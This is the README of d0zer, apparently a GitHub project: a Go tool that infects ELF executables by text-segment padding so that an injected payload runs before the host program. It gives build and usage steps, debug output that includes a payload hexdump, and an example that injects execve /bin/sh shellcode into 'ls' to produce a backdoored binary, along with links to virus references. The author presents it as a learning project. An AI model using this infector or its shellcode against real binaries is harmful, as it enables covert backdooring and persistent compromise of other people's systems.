d0zer

Elf binary infector written in Golang. It can be used for infecting executables of type ET_DYN and ET_EXEC with a payload of your creation. Utilizing the classic elf text segment padding algorithm by Silvio Cesar, your payload (parasite) will run before native functionality of the binary effectively backooring the binary.

d0zer currently allows for up to a page size payload (4096 bytes). It is capable of infecting both x86_32 and x86_64 elf executable binaries executables.

Motivation

My motivations are quite simple, I like doing interesting things with the ELFs and binary infection of a target requires a decent amount of overhead knowledge and skill as a prerequisite to perform it (TO ME), so I set out to learn from papers, books and specs from the past (see references), throwed Golang in the middle for increased difficulty and here I am.

build

 
[[email protected] d0zer]$ go version
go version go1.16.3 gccgo (GCC) 11.1.0 linux/amd64
[[email protected] d0zer]$ go build d0zer.go epiloguejmp.go 

Usage

[[email protected] d0zer]$ ./d0zer --help
Usage of ./d0zer:
  -debug
    	see debug output (generated payload, modifications, etc)
  -noPreserve
    	prevents d0zer from prepending its register preservation routine to your payload
  -noRestoration
    	prevents d0zer from appending register restoration routine to your payload
  -noRetOEP
    	prevents d0zer from appending ret-to-OEP (continue execution after payload) to payload
  -payloadBin string
    	path to binary containing payload
  -payloadEnv string
    	name of the environmental variable holding the payload
  -target string
    	path to binary targetted for infection
[[email protected] d0zer]$ 

Basic demo (benign) infection can be accomplished with ./dozer -target [path-to-target].

 
[[email protected] d0zer]$ ./d0zer -target experimental/ls
[[email protected] d0zer]$ experimental/ls-infected
hello -- this is a non destructive payloadd0zer	     epiloguejmp.go  jmp-to-oep32      jmp-to-oep.o		  non-destructive-payload32.asm  non-destructive-payload64.o  shellcode.c
d0zer.go     experimental    jmp-to-oep32.asm  LICENSE			  non-destructive-payload32.o	 output			      test
elf64	     genpayload.go   jmp-to-oep32.o    non-destructive-payload	  non-destructive-payload64	 README.md		      test.go
epiloguejmp  jmp-to-oep      jmp-to-oep.asm    non-destructive-payload32  non-destructive-payload64.asm  shellcode
[[email protected] d0zer]$ 

Supplying -debug allows you to see each step of the infection algorithm at work aswell as a hexdump of the payload as it will be in the binary.

[[email protected] d0zer]$ ./d0zer -target experimental/ls -debug
[+] Modified entry point from 0x5b20 -> 0x173d1
[+] Text segment starts @ 0x4000
[+] Text segment ends @ 0x173d1
[+] Payload size pre-epilogue 0x5c
[+] Payload size post-epilogue 0x90
------------------PAYLOAD----------------------------
00000000  50 51 53 52 56 57 55 54  41 50 41 51 41 52 41 53  |PQSRVWUTAPAQARAS|
00000010  41 54 41 55 41 56 41 57  eb 00 e8 2b 00 00 00 68  |ATAUAVAW...+...h|
00000020  65 6c 6c 6f 20 2d 2d 20  74 68 69 73 20 69 73 20  |ello -- this is |
00000030  61 20 6e 6f 6e 20 64 65  73 74 72 75 63 74 69 76  |a non destructiv|
00000040  65 20 70 61 79 6c 6f 61  64 0a b8 01 00 00 00 bf  |e payload.......|
00000050  01 00 00 00 5e ba 2a 00  00 00 0f 05 41 5f 41 5e  |....^.*.....A_A^|
00000060  41 5d 41 5c 41 5b 41 5a  41 59 41 58 5c 5d 5f 5e  |A]A\A[AZAYAX\]_^|
00000070  5a 5b 59 58 e8 12 00 00  00 48 83 e8 79 48 2d d1  |Z[YX.....H..yH-.|
00000080  73 01 00 48 05 20 5b 00  00 ff e0 48 8b 04 24 c3  |s..H. [....H..$.|
--------------------END------------------------------
[+] Generated and appended position independent return 2 OEP stub to payload
[+] Increased text segment p_filesz and p_memsz by 144 (length of payload)
[+] Adjusting segments after text segment file offsets by 0x1000
Inceasing pHeader @ index 4 by 0x1000
Inceasing pHeader @ index 5 by 0x1000
Inceasing pHeader @ index 6 by 0x1000
Inceasing pHeader @ index 8 by 0x1000
Inceasing pHeader @ index 10 by 0x1000
[+] Increasing section header addresses if they come after text segment
[+] Extending section header entry for text section by payload len.
[+] (15) Updating sections past text segment @ addr 0x18000
[+] (16) Updating sections past text segment @ addr 0x1d324
[+] (17) Updating sections past text segment @ addr 0x1dc78
[+] (18) Updating sections past text segment @ addr 0x21fd0
[+] (19) Updating sections past text segment @ addr 0x21fd8
[+] (20) Updating sections past text segment @ addr 0x21fe0
[+] (21) Updating sections past text segment @ addr 0x22a58
[+] (22) Updating sections past text segment @ addr 0x22c58
[+] (23) Updating sections past text segment @ addr 0x23000
[+] (24) Updating sections past text segment @ addr 0x23280
[+] (25) Updating sections past text segment @ addr 0x0
[+] (26) Updating sections past text segment @ addr 0x0
[+] writing payload into the binary
[[email protected] d0zer]$ 

A custom payload can be injected into the binary with the -payloadEnv flag. Below I inject a basic execve /bin/sh shellcode into the ls command as an example.

[[email protected] d0zer]$ export DOZEREGG="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
[[email protected] d0zer]$ ./d0zer -target experimental/ls -payloadEnv DOZEREGG
[[email protected] d0zer]$ experimental/ls-infected
sh-5.1$ 

The -payloadBin flag is currently not implemented, it would allow you to supply a PIE (binary), where the contents of the text segments would serve as the payload.

[[email protected] d0zer]$ ./d0zer -target experimental/ls -payloadBin ./non-destructive-payload64
Getting payload from an ELF binary .text segment is not yet supported
[[email protected] d0zer]$ 

Advance Usage

In the event you don’t like the routines d0zer add to your code the following flags can be utilized, however your payload should handle any consequences that come comes from removing them.

The -noPreserve flag removes the general purpose register preservation routine. For x86_32 targets this is accomplished via a pushad instruction. For x86_64 targets, all general purpose registers are manually pushed onto the stack as the the pushad instruction in x86_64 is not valid. The overall purpose of this routine is to preserve register states after execution of your payload, when control is handed back to libc runtime routine (OEP) it expects certain register values in order to properly execute. In some contexts, I was able to simply preserve the RDX register and no crashes occured, in others (using shellcode I downloaded) preserving RDX was not enough. So in order to stay “portable”, I thought it was wise to save all state as I wasn’t completely sure which registers were needed currently or in the future.

The -noRestoration flag removes the restoration routine, which is the opposite of the preservation routine, it performs a popa for x86_32 targets and a manual popping of each general purpose register from the stack.

The -noRetOEP flag removes the “return to original entry point” routine. This stub enables portability across pie (ET_DYN) and non-pie (ET_EXEC) elf executables. The code extracts the randomized base address by capturing the current instuction pointer value in accumulator register. It then substracts the payload length from the accumulator (+ 5 bytes for the relative call instruction), then subtracts the entry point of payload. Finally it adds the offset of the binaries OEP to then perform a jmp rax or jmp eax (for x86_32) instruction to start executing native/non-parasitic code. If you intend on handling this your self then your code must handle proper exiting/continuation of the binary to avoid SIGSEGV.

All preservation, restoration and ret-2-oep shellcode are heavily commented for clarity. Restoration and preservation stubs can be found at the top of the d0zer.go source file. The ret2OEP routine can be found in epilogue.go.

Payload considerations

It’s worth noting that code being injected (payload/parasite) should be position independent. Additionally with in your payload anything pushed onto the stack should be popped off if you choose to use restoration and preservations stubs (which d0zer prepends & appends by default). Due to the stacks LIFO structure, should anything (except the register values pushed in the preservation stub)be on there after you’ve executed your payload you run the risk of getting a SIGSEGV in the libc runtime routine.

References

Linux Binary Analysis by Ryan Oneil (Elfmaster), see virus technology chapter.

LPV (a unix virus) written in C utilizing the same algorithm as d0zer written by Elfmaster.
https://bitlackeys.org/projects/lpv.c

Unix ELF parasites and viruses - by Silvio Cesar
https://vx-underground.org/archive/VxHeaven/lib/vsc01.html

Return To Original Entry Point Despite PIE - by s0lden
https://tmpout.sh/1/11.html

GitHub

https://github.com/sad0p/d0zer